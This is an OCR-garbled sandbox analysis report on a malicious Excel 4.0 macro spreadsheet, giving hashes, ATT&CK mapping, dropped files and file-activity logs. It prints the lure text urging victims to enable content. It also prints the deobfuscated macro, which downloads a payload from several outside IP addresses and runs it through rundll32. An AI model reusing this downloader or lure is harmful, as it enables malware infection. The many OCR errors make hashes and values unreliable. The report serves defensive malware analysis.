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Analysis Report Copy-1986428143-05102021.xIsm

Overview

General Information

Sample Copy-1986428143-
Name: 05102021.xIsm

Analysis ID: 412105

MD5: 1b3705bf5dfab6d. .
SHAL: 22c0e00c079728..
SHA256: 43ab199f616€245.
Infos: B & B

Most interesting Screenshot:

| o

- 'QOffice g

[ e A

Startup

= System is w7x64

o EXCEL.EXE (PID: 2524 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source

sheet2.xml

Sigma Overview

No Sigma rule has matched

Signature Overview

Copyright Joe Security LLC 2021

Detection

Hidden Macro 4

Score:

Range:

Whitelisted:

Confidence:

JoeSecurity_ObfuscatedM

MALICIOUS

[

72
0-100
false

100%

acrolnXLSM

Classification

Found malicious Excel 4.0 Macro
Office document tries to convince Vvi...
Yara detected Obfuscated

Found Excel 4.0 Macro with suspicio...

Found malicious URLs in/unpacked ...

: 5SFBOAOF93382ECD19F5F499A5CAA59F0)

Obfuscated Macro
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@ Compliance
® Networking
@ System Summary
@ Data Obfuscation

g

Click to jump to signature section

Networking:

@ Hooking and other Techniques for Hiding and Protection

System Summary:

Data Obfuscation:

Yara detected Obfuscated Macro In XLSM

Mitre Att&ck Matrix

Initial Privilege  Defense Credential Lateral
Access Execution Persistence Escalation Evasion Access Discovery Movement Collection Exfiltration
Valid Scripting Path Path Masquerading oS File and Remote Data from  Exfiltration
Accounts Interception  Interception Credential Directory Services Local Over Other
Dumping  Discovery System Network
Medium
Default Scheduled Boot or Boot or Disable or Modify LSASS System Remote Data from  Exfiltration
Accounts Task/Job  Logon Logon Tools Memory  Information Desktop Removable Over
Initialization  Initialization Discovery Protocol Media Bluetooth
Scripts Scripts
Domain At (Linux)  Logon Script Logon Scripting Security  Query SMB/Windows Data from  Automated
Accounts (Windows)  Script Account  Registry Admin Shares Network Exfiltration
(Windows) Manager Shared

Drive

Behavior Graph

Copyright Joe Security LLC 2021

Command
and Control

Ingress Tool
Transfer

Junk Data

Steganography

Network
Effects

Eavesdrop on
Insecure
Network
Communication

Exploit SS7 to
Redirect Phone
Calls/SMS

Exploit SS7 to
Track Device
Location

Remote
Service
Effects Impa

Remotely Modit
Track Device Syste
Without Partit
Authorization

Remotely Devic
Wipe Data  Lockc
Without
Authorization

Obtain Delet
Device Devic
Cloud Data
Backups

Page 5 of 28



Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

ID:
Sample:

Startdate:

Architecture:

Score:

Behavior Graph
412105
Copy-1986428143-05102021.xIsm
12/05/2021
WINDOWS
72

Hide Legend

-
[1:]

«Q
@®
=
o

Process
Signature
Created File
DNS/IP Info

Is Dropped

Is Windows Process

@+ EBO0C]

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java
.Net C# or VB.NET
C, C++ or other language

Is malicious

L@ 2 )

Internet

@ EXCEL.EXE a

dropped

e
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@

Home

¥ cut

53 Copy ~
# Format Painter

ipboard

Copy-1986428143-05102021 - Microsoft Excel - Copy-1986428143-05102021

Insert Page Layout Formulas Data Review View

-

Calibri - 11 = S Wrap Text General - ij

B L U- B Mergeacenter~  § v % o %8 08 | Conditional Format  Cell

Font Alignment Humber Styles

i

Formatting - as Table - Styles -

T Tk @ T AutoSum -
- =) ﬂ"l @] Fin -

Delete Format

&2 Clear =

Cells

=

B R
2@ o @ =

i &

Sort & Find &
Filter~ Select~

Editing

H

Wl e kW N

) Office

Document created using the application not related to Microsoft Office

o For viewing/editing, perform the following steps:

Click Enable editing button from the yellow bar above
@ Once you have enabled editing, please click Enable Content button from the yellow bar above

M 4 » M| Sheet  Sheet (2)
Ready |

Sheet (3) ~¥1

—

- O € €

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches
Dropped Files

No Antivirus matches
Unpacked PE Files
No Antivirus matches
Domains

No Antivirus matches

URLs
Source

hitp://185.14.31.59/
hitp://185.14.31.59/

Copyright Joe Security LLC 2021

Detection Scanner Label
3% Virustotal
0% Avira URL Cloud safe

Link

Browse
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https://www.virustotal.com/gui/url/ece306de44dbea8349ecfd3b78d0197461640a19373613d71d647a811e6da52b/detection/u-ece306de44dbea8349ecfd3b78d0197461640a19373613d71d647a811e6da52b-1620702286

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name

Antivirus Detection Reputation

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

Cookbook Comments:

Simulations

Behavior and APIs

No simulations

Copyright Joe Security LLC 2021

32.0.0 Black Diamond

412105

12.05.2021

12:09:05

CloudBasic

Oh 4m 23s

false

light
Copy-1986428143-05102021.xIsm
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

3

o ©o o o

e EGA enabled
e HDC enabled
e AMSI enabled

default
Timeout
MAL
mal72.evad.winXLSM@1/7@0/0
e Adjust boot time
e Enable AMSI
Found application associated with file extension:
Xlsm
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down
Close Viewer
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https://www.virustotal.com/gui/url/ece306de44dbea8349ecfd3b78d0197461640a19373613d71d647a811e6da52b/detection/u-ece306de44dbea8349ecfd3b78d0197461640a19373613d71d647a811e6da52b-1620702286

Joe Sandbox View | Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created | dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\D27E1BE?7.jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

[TIFF image data, big-endian, direntries=5], baseline, precision 8, 1080x1080, frames 3

dropped

92379

7.654577060340879

false

1536:101vutiNbjOXGw548LBkVb/oyrk XkX89DcO9GQSnlv+C1EDFVXKR7Y90:wvKINbjvw548LMb/ogKO8NNnS8+60Kc0
4A425E6A5A885CODOE2589506FD2244B

E23482422480A4720E22F311B42BD65E2F3556F8
76E685FC2035D8CF19945C6686D82054B64D0A9612853D8F428C4B4FE351C160

3C827E13A12CC817CBD80EA7C89BEC5288FD21250728E76E00D6355008F704C77EC9BC37C85FF076D8D1F960DB53741F352AB649CD2C754B71B4D11CFFBEEA
4

false

moderate, very likely benign file

Q..
11A..Qa."q.2....#B...R..$3b .
11..AQ.aq."2...B.... #3R..br...$4.%
B..HW.A...'p;.RsIRHTs..%G?QU #..$..."...U.A...g] s......C..,... {W'.M.Nc....F.~..y.l..".e..a..[..P.y]l. k_..Cl.z.Ru..s
6.Y...."..1]Q.....e#......~. sk.KH.....p.4.i,j+3{.....N.DS. L.....0..0.5f>.,jY.uS...Z.B...UG")..6D....(.....

C:\Users\user\AppData\Local\Temp\0BDE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

110649

7.655838404622504

false

3072:HFMFVKINbjvw548LMb/ogKO8NNnS8+60KcGX5C:HVAbT648LM7D98Np+EjU
D49F88AEAACDFF481E03EFC122127935
C9C48C5604C50A10A1ES56BF7FBC5893CFE10605B
F7DDEBOE968BF9E918E8BB942BBE52B1F56FDBBCIBESFB5ACI80A6109CDCC146

005E1CD77F2293C2ED4E2EF5044A58FD3D0591FD3DAE43DC5FC5EF904578CCDB093D9BF149153095A6F14CFD7E3086342AA65386F800CD117BF3CF4DA44337
E

false

low
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C:\Users\user\AppData\Local\Temp\0BDE0000
Preview:
N0 D...C...I.&.cn.0....... T.h/. E..T.Q{.f*p.+. A Af&0.A. j..n.+v.>.s=X..he.nc.s...>q]..}...l..Lc.{.2..R$...~6..\7".=@...Q.1.BJ..2.....0.:...,.0.u
mi.y..T.T7"..R LSR.XL.Vbj..V.A. K.tq..U..."..8...2....(U.Z.M/.X. D..r1<..#gaz..7...1r/"..D.W.... }D..)K...v4 {JC..P.{ {....M..iIOF..m.S([..AL.6

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\Copy-1986428143-05102021.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Wed May 12 18:09:41 2021,
atime=Wed May 12 18:09:41 2021, length=110649, window=hide

Category: dropped

Size (bytes): 2178

Entropy (8bit): 4.502860878678182

Encrypted: false

SSDEEP: 48:83x/XTOjFHRbrVb+Qh23x/XTOjFHRbrVb+Q/:83x/X0jFHR1+Qh23x/X0jFHR1+Q/

MDS5: AA2ED8458B9D332F099FA791BA97B66E

SHA1L: FBDB1B1C175256CC2E9A47D43C96F2FB66834E7C

SHA-256: D8ABD3E527CDE6B3844EDBBAES047D223922168CC9849C0F65A20C6355E1D853

SHA-512: D367015ECFE6C50B7E01770D0607238917CE24EB79E2D61212B8D2D5CA325CFA014A8A3C0631D831B7F6CI0F7BBB405001A2BBECBIB6586036AD81291B178B2
A

Malicious: false

Reputation: low

Preview:

Fo ... IV..{...\bG..-\bG.9............
L.1.....Q.y..user.8...... QK. X.Q.y*...&

.......... t.1.....QK.X..Users. ...
.Q.y..Desktop.d......QK.X.Q.y*.

....... 6....Us.ers..@.s.h.ell3.2..dll,.-
.D.esskto.p.@.s.hell3.2.dll,.-21

....R2. .COPY-1~1.XLS..h....... Q.y.Q.y*..8. ccoeeceee...C.0.py.~.1.9.8.6.4.2.8.1.4.3.-.0.5.1.0.2.0.2.1..X.|.S. M. S8l 2J......C:\Users\..
\377142\Users.user\Desktop\Copy-1986428143-05102021.xIsm.4....\....\....\....\...\.D.e.s.k.t.o.p.\.C.0.p.y.-.1.9.8.6.4.2.8.1.4.3.-.0.5.1.0.2.0.2.1.. x.l.s.m.......
ey LB AT 1SPS.XF.L8C...&m.m............~...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6......c......”c.... Xo.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed May 12
18:09:41 2021, atime=Wed May 12 18:09:41 2021, length=8192, window=hide

Category: dropped

Size (bytes): 867

Entropy (8bit): 4.47933416901871

Encrypted: false

SSDEEP: 12:85Qf51LgXg/XAICPCHaXtB8XzB/oD/xX+Wnicvb TfbDtZ3YiIMMEpxRIjKw6 TdJU:85Mp/XTd6jEYeHDDv3q+rNru/

MD5: 4FC739F08AF5475F1999FD33DBDBAFF3

SHA1L: 596AADC55288BEF1F3EA7F6615D099DE677E44CA

SHA-256: 1C82560F31EA9E8449CFOF6DED094916DBBD5FC5E5890792386684DE4D16BBEE

SHA-512: 1C7F98D4005761C4994EE4BFCD439B72ECCICF24849FD175F039019CABDF6DBCD1F3FA68B74A085861E3BACA0947CA49F9645D44018B813B2989698A63530BC

Malicious: false

Reputation: low

Preview:

Us.ers..@.s.h.ell3.2.dll,.-
to.p.@.s.hell3.2.dll,.-2.1.

.D.esk

L2 Ci\Users\ \\377142\Users.user\Desktop....... \.

7.69...... R T . LB A 1SPS.XF.L8C
.&mm.. S.-1.-5-21-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6. X.....377142... 3N WLLOr[*...... JEKD_...3N..W
o[ *. L JEK...

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 127

Entropy (8bit): 4.654136034061553

Encrypted: false

SSDEEP: 3:0yBVomxWitzInTbkBnrl+knTbhkBnrimxWtzInTbkBnrlv:djezI3kBnrz3kBnrzzI3kBnrl

MDS5: 046F246D72BF157B46114FABE2BA41DD

SHA1L: 24E24C3EB2B639EB84D8486D14196DEB28BB5B94

SHA-256: DF25FF89ED3B9688144CC190B29B028927139DCBEFD8113982C832B7F02ED593

SHA-512: 4111BA208D02F60E09E63D2A2A4B1BEF25B3377158C34AF80B1E9E1ICDCD3EDBEFELICBFEFBOCOE3AF3C8B417D47DA0DC067F81C5AF2EF6669D8778BADD5CC
E74C

Malicious: false

Reputation: low

Preview:

Desktop.LNK=0..[misc]..Copy-1986428143-05102021.LNK=0..Copy-1986428143-05102021.LNK=0..[misc]..Copy-1986428143-05102021.LNK=0..
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C:\Users\user\Desktop\CBDE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

110649

7.655838404622504

false

3072:HFMFVKINbjvw548LMb/ogKO8NNS8+60KcGX5C:HVAbT648LM7DI8Np+EjU
D49F88AEAACDFF481E03EFC122127935
C9C48C5604C50A10A1E56BF7FBC5893CFE10605B
F7DDE8SOE968BFIE918E8BB942BBE52B1F56FDBBCIBESFB5ACIB0A6109CDCC146

005E1CD77F2293C2ED4E2EF5044A58FD3D0591FD3DAE43DC5FC5EF904578CCDB093D9BF149153095A6F14CFD7E3086342AA65386F800CD117BF3CF4DA44337
E

false

low

.no0.....D...C...L.&.cn0.... ThL E. .. T.Qf*p+. . Af&O.A.j..n.+v>.s=X..he.nc.s...>q]. }..lL..Lc. {.2.R$....~6..\7.".=@...0.1.BJ..2.....0....,.0,u
mi.y. T.T7".R... LSR.X!..vbj..v.A. K.tq..u..." D..r<..#qaz.7..1r/"..D.W....}D...)K...v4 {JC..P..{.{....M..IOF..m.S([..AL.6
§ SUO o RO [Content_Types].xml ...(.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

330

1.4377382811115937

false

3:vZ/IFFDIwW2fj/FFDJIw2fV:vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8BAC6113DC7D69C06ADAA83FAFOF021AD7C8D30600AA8168348BDOFAS
0

true

high, very likely benign file

.user LALDUS user VAlbuso oo

Static File Info

General

File type: Microsoft Excel 2007+

Entropy (8bit): 7.660932810679595

TriD: e Excel Microsoft Office Open XML Format document

(40004/1) 83.33%
e ZIP compressed archive (8000/1) 16.67%

File name: Copy-1986428143-05102021.xIsm

File size: 111419

MD5: 1b3705bf5dfab6d67846af3828726e8d

SHA1L: 22c0e00c0797282d2735cdfab442003b7718fb01

SHA256: 43ab199f616€24562101637463dda6b9f58610dfbcd2cfl
db13d0ad699d791a4

SHA512: 303360b4a2fb4f8426e5f943cdc35734bdbaf243f76155bb
2blad4ce0d5flch925ea3bf454e0d6fc3e999899c56316a
61d94346a6d889c370f109f04afc12d53

SSDEEP: 3072:Qf/VKINbjvw548LMb/ogKO8NNS8+60Kcrc:QfaAb
T648LM7D98Np+EJ

File Content Preview: PK..oooe LAF [Content_Types].xml ...(.....c..........

File Icon

Copyright Joe Security LLC 2021 Page 11 of 28



Icon Hash: ede2aa8aadbcbcac

Static OLE Info

General
Document Type: OpenXML
Number of OLE Files: 1

OLE File "Copy-1986428143-05102021.xIsm"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Macro 4.0 Code

="uRIMon"!="URLDow"(0, ="http://185.14.31.59/"=NOW().dat, ..\Nuydar.veryrf, 0, 0)

s Linn Qi "SONLTIME(NOW()+"00:00:02"","" JEIUYUITRYF™)",,,"=CONCATENATE(AG101,AH95,AG99,AG100)",=NOW(),,,,,"=SCONCATENATE(AG102,AH95 AG99,AG100)",,,,,,"=CONCATENATE(AG
103,AH95,AG99,AG100)",,,=HALT(),,,,"=CONCATENATE(AG106,AG107)",,,,,.d,,"=""uRIMon""",,, at,,,,,,"=""http://185.14.31.59/"",,"=""JJCCBB"",,,,http://45.138.157.63/,,Belandes,,,,"=""http://167.114.48.59
M"",,,,"=REGISTER(AI99,AH98,AI101,Al102,,1,9)",,,=GOTO(AE103),,,"=Belandes(0,AG95,Al105,0,0)",,,,..\Nuydar.veryrf,,"=IF(AE105<0, Belandes(0,AG96,Al105,0,0))",,"=""URLDow"",,,,"=IF(AE106<0, B
elandes(0,AG97,A1105,0,0))",,"=""nloadToFileA™",,,,,,..,,"=IF(AE107<0,CLOSE(0),)",.,11111,,,=GOTO(Nols!H6),,,,,

=" =""undlI32 ..\Nuydar.veryrf,DIIReg"","=""isterServer"",,,,,=EXEC(17&I9&110),,,,=HALT(),

Network Behavior

No network behavior found

Code Manipulations

Statistics

System Behavior

Analysis Process: EXCEL.EXE PID: 2524 Parent PID: 584

General

Start time: 12:09:38

Start date: 12/05/2021

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Wow64 process (32bit): false

Copyright Joe Security LLC 2021 Page 12 of 28



Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\AppData\Local\Temp\D910.tmp

C:\Users\user\AppData\Local\Temp\OBDEOOOO

C:\Users\user\Desktop\~$Copy-1986428143-05102021.xIsm

C:\Users\user\Desktop\CBDEO00O

C:\Users\user\AppData\Local\Temp\36CA.tmp

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\D910.tmp
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv
C:\Users\user\AppData\Local\Temp\imgs.ht~
C:\Users\user\AppData\Local\Temp\36CA.tmp

File Moved

Old File Path
C:\Users\user\AppData\Local\Temp\OBDEOOOO
C:\Users\user\Desktop\CBDEO00O
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm
C:\Users\user\AppData\Local\Temp\imgs_files\image002.png
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.htm
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pn__
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht_

C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.ht_
Copyright Joe Security LLC 2021

‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding

0x13f7f0000
27641504 bytes

5FBOAOF93382ECD19F5F499A5CAA59F0

true
true

C, C++ or other language

high
Access Attributes Options Completion
read attributes | device synchronous io  success or wait 1
synchronize | non alert | non
generic read directory file
read attributes | device synchronous io  success or wait 1
synchronize | non alert | non
generic read | directory file |
generic write open no recall
read attributes | device synchronous io  success or wait 1
delete | syn non alert | non
chronize | directory file |
generic read | delete on close
generic write | open no recall
read attributes | device synchronous io  success or wait 1
synchronize | non alert | non
generic read | directory file |
generic write open no recall
read attributes | device synchronous io  success or wait 1
synchronize | non alert | non
generic read directory file

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

New File Path
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv
C:\Users\user\Desktop\Copy-1986428143-05102021.xlsm
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.htmss

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Count Address

Source
Symbol

13FB3EC83

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

13FB3EC83

Source
Count Address

13FDAB818

P PR R R R R R R R R

13FDAB818

Source
Count Address

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

P PR R R R R R R R R R R R R

7FEEAC59ACO

GetTempFileNameW

GetTempFileNameW

Symbol
DeleteFileW
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
DeleteFileW

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown
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Old File Path

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Written

File Path

C:\Users\user\Desktop\~$Copy-1986428143-05102021.xlsm unknown 55

C:\Users\user\Desktop\~$Copy-1986428143-05102021.xIsm unknown 110

C:\Users\user\AppData\Local\Temp\OBDEOOOO

C:\Users\user\AppData\Local\Temp\OBDEOOOO

Copyright Joe Security LLC 2021

New File Path

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss

Offset Length Value

0541 6¢ 62 7573 20
20202020 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

05 00 41 00 6¢ 00 62
00 75 00 73 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00

569 463
86 ef 05 fa Oe 02 af
85 44 27 05 8a a2 b0
9c 43 9b 1e db 00 49
1f 80 26 c7 12 63 6e
€0 30 89 fd f6 1d d2

8e d3 18 de 54 07 68 ..

2f da a8 99 ef 9f 45
1c 8d af 16 d6 54 8f
1051 7b d7 b2 8b 66
c4 2a 70 d2 2b ed ba
96 fd ba fb 5e 7f 66
1526 el 94 30 de 41
cb 96 80 ec 6a 2 fe
dd f8 6e 19 00 2b b2
76 d8 b2 3e a5 f0 85
73 94 3d 58 81 8d Of
€0 68 65 e6 a3 15 89
6e 63 c7 8390 73 d1
01 bf 1c 8d 3e 71 €9
5d 02 97 ea 94 7d b0
c9 f8 1b cc c4 83 49
d5 f5 82 le af 94 4c
b5 63 d5 d7 d5 7b 19
d5321182d15224
12 ca 1f 9d da 82 d4
7e 36 d3 12 94 97 Of
96 5¢ 37 18 22 08 85
3d 40 b2 a6 09 51 13
31de 42 4a 14 18 32
be 9319 c1 e0 30 e8
3aaa862c8b30ec
75 ¢0 0f 14 fa 1e 42
5e d9 1f d5 7e bb fb
do 6d d9 69 9b b3 79
1f a0 cb a8 9f 54 c1
a8 1554

1032 2 03 00

Ascii

.user

VAlbuso oo

cc 96 c9 6e db 30 10 ...n.0...

Completion

success or wait

Completion

success or wait

. success or wait

success or wait

success or wait

Count Address

1

Count Address

1

1

27

27

Source
Symbol

7FEEAC59ACO unknown

Source

Symbol
13FA3F526 WriteFile
13FA3F591 WriteFile

7FEEAC59ACO unknown

7FEEAC59ACO unknown

Page 14 of 28



File Path
C:\Users\user\AppData\Local\Temp\OBDEOOOO

C:\Users\user\AppData\Local\Temp\OBDEOOOO

Copyright Joe Security LLC 2021

Offset
0

9062

Length Value

569

65536

Ascii

50 4b 03 04 14 00 06 PK.......... Lo (<
00 08 00 00 00 21 00 [Content_Types].xml ...

837d 12 d1d10100 (
0067 08 00 00 13 00 .
08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70
65 73 5d 2e 78 6d 6¢C .
20 a2 04 0228 a0 00 .
02 00 00 00 00 0000 .
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

ff d8 ff e0 00 10 4a
46 49 46 00 01 01 01
00 60 00 60 00 00 ff
e1 00 5a 45 78 69 66
00 00 4d 4d 00 2a 00 .
00 00 08 00 050301 .
00 05 00 00 00 01 00 .
0000 4a 03030001 .
00 00 00 01 00 00 00 .
00 51 10 00 01 00 00
00 01 01 00 00 00 51
11 00 04 00 00 00 01
00 00 Oe c4 51 12 00
04 00 00 00 01 00 00
0Oe c4 00 00 00 00 00
01 86 a0 00 00 b1 8f

ff db 00 43 00 02 01
0102 01 01 02 02 02
02 02 02 02 02 03 05
03 03 03 03 03 06 04
04 03 05 07 06 07 07
07 06 07 07 08 09 Ob
09 08 08 0a 08 07 07
Oa 0d Oa 0a Ob Oc Oc
Oc Oc 07 09 Oe 0Of Od
Oc Oe Ob Oc Oc Oc ff

db 00 43 01 02 02 02
03 03 03 06 03 03 06
Oc 08 07 08 Oc Oc Oc
Oc Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc Oc Oc
0Oc Oc Oc Oc Oc ff cO
001108

Completion

success or wait

success or wait

Count Address

28

2

Source
Symbol

7FEEAC59ACO unknown

7FEEAC59ACO unknown

Page 15 of 28



File Path Offset

C:\Users\user\AppData\Local\Temp\OBDEOOOO 108610 2039

C:\Users\user\Desktop\~$Copy-1986428143-05102021.xlsm unknown 55

C:\Users\user\Desktop\~$Copy-1986428143-05102021.xIsm unknown 110

Copyright Joe Security LLC 2021

Length Value

13 00 00 00 00 00 00

00 00 00 00 0000 QO .............. 0...xI/_rels/wor

00 00 00 00 5b 43 6f
6e 74 65 6e 74 5f 54
79 70 65 73 5d 2e 78
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
23 f5 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 Oa 04 00 00 5f
72 65 6¢ 73 2f 2e 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 f3 5¢
65 cf 31 01 00 00 dc
04 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 30 07 00 00
78 6¢ 2f 5f 72 65 6C
